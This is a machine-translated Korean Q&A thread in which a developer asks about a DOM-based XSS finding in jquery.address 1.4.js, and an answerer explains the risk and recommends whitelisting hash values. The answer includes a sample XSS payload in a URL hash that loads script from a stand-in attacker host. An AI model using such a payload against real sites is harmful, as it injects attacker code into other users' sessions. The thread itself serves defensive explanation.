2013-03-01 1 views
1

최근에 내 사이트에서 보안 검사를 실행했으며 사용중인 JS 파일 중 하나에 DOM 사이트 간 스크립팅 문제가 있다고 표시되어 어떤 문제를 해결할 수 있는지 잘 모르겠습니다. 그것.보안 검사에서 JS 스크립트 파일의 취약점 표시

파일 : 다음

을 jquery.address1.4.js 신고 된 코드의 부분으로부터 스크립트 :

_supported = 
      (_mozilla && _version >= 1) || 
      (_msie && _version >= 6) || 
      (_opera && _version >= 9.5) || 
      (_webkit && _version >= 523); 

     if (_supported) { 
      if (_opera) { 
       history.navigationMode = 'compatible'; 
      } 
      if (document.readyState == 'complete') { 
       var interval = setInterval(function() { 
        if ($.address) { 
         _load(); 
         clearInterval(interval); 
        } 
       }, 50); 
      } else { 
       _options(); 
       $(_load); 
      } 
      $(window).bind('popstate', _popstate).bind('unload', _unload);    
     } else if (!_supported && _hrefHash() !== '') { 
      _l.replace(_l.href.substr(0, _l.href.indexOf('#'))); 
     } else { 
      _track(); 
     } 

이 코드 줄 :

_l.replace(_l.href.substr(0, _l.href.indexOf('#'))); 

검색 결과 입력 내용을 삭제하도록 지시하고 있지만 사이트에 "입력"이 없으므로 그 내용이 무엇인지 알 수 없습니다. 위의 코드를 수정하여 보안 검색을 통과시킬 수있는 방법은 무엇입니까?

편집 :이 예에서 unsanitized 값이 URL에서 검색 한 해시 값이됩니다

_window = function() { 
       try { 
        return top.document !== UNDEFINED ? top : window; 
       } catch (e) { 
        return window; 
       } 
      }, 

ID = 'jQueryAddress', 
      STRING = 'string', 
      HASH_CHANGE = 'hashchange', 
      INIT = 'init', 
      CHANGE = 'change', 
      INTERNAL_CHANGE = 'internalChange', 
      EXTERNAL_CHANGE = 'externalChange', 
      TRUE = true, 
      FALSE = false, 
      _opts = { 
       autoUpdate: TRUE, 
       crawlable: FALSE, 
       history: TRUE, 
       strict: TRUE, 
       wrap: FALSE 
      }, 
      _browser = $.browser, 
      _version = parseFloat($.browser.version), 
      _mozilla = _browser.mozilla, 
      _msie = _browser.msie, 
      _opera = _browser.opera, 
      _webkit = _browser.webkit || _browser.safari, 
      _supported = FALSE, 
      _t = _window(), 
      _d = _t.document, 
      _h = _t.history, 
      _l = _t.location, 
      _si = setInterval, 
      _st = setTimeout, 
      _re = /\/{2,9}/g, 
      _agent = navigator.userAgent,    
      _frame, 
      _form, 
      _url = _search(document), 
      _qi = _url ? _url.indexOf('?') : -1, 
      _title = _d.title, 
      _silent = FALSE, 
      _loaded = FALSE, 
      _justset = TRUE, 
      _juststart = TRUE, 
      _updating = FALSE, 
      _listeners = {}, 
      _value = _href(); 
+0

무엇이'_l'입니까? '_l'이 초기화되는 방법을 보여주지 않을 때 보안 문제라고 생각하는 이유를 알기가 어렵습니다. –

+0

안녕하세요, 파일에있는 내용입니다. _l = _t.location, – Keoki

+0

그렇다면 _t는 어떻게 정의되어 있습니까? –

답변

0

: 이에서 _l

_l = _t.location, 

의 값입니다. 공격자가 해당 컨텍스트에서 자신의 JavaScript를 제공 할 수 없도록하려면 URL의 "#"앞에있는 모든 값을 삭제해야합니다. 컨텍스트에서 실행하게

#"><script src=http://badguy.com/xss.js /> 

:이 값은 "입력"을 공급 명시 사용하지 않을해서

는 다음과 같은 악성 값을 제공 악의적 인 사용자를 방지하는 것도 없다 다른 사용자의

이 예제 또는 입력 삭제에 대한 유효한 방어 방법은 허용 목록입니다. #에 알려진 값만 허용하고 공격자가 제공 할 수있는 어떠한 것도 허용하지 않습니다.

DOM 기반 XSS에 대한 방어에 유용한 리소스입니다. https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet 읽어 보시기 바랍니다.

+0

OP가 게시 한 코드는 해시 값을 삭제합니다. –

+0

예, 코드는 해시 값을 읽습니다. 위의 예에서와 같이 공격자가 스크립트를 삽입 할 수있는 양이면 충분합니다. "#"앞에 오는 값은 URL에 있기 때문에 사용자가 제공 한 것으로 간주됩니다. 따라서 공격자가 현재 프로그램의 제어 흐름을 벗어날 자체 코드를 주입하지 못하도록 위생 처리해야합니다. – eliteparakeet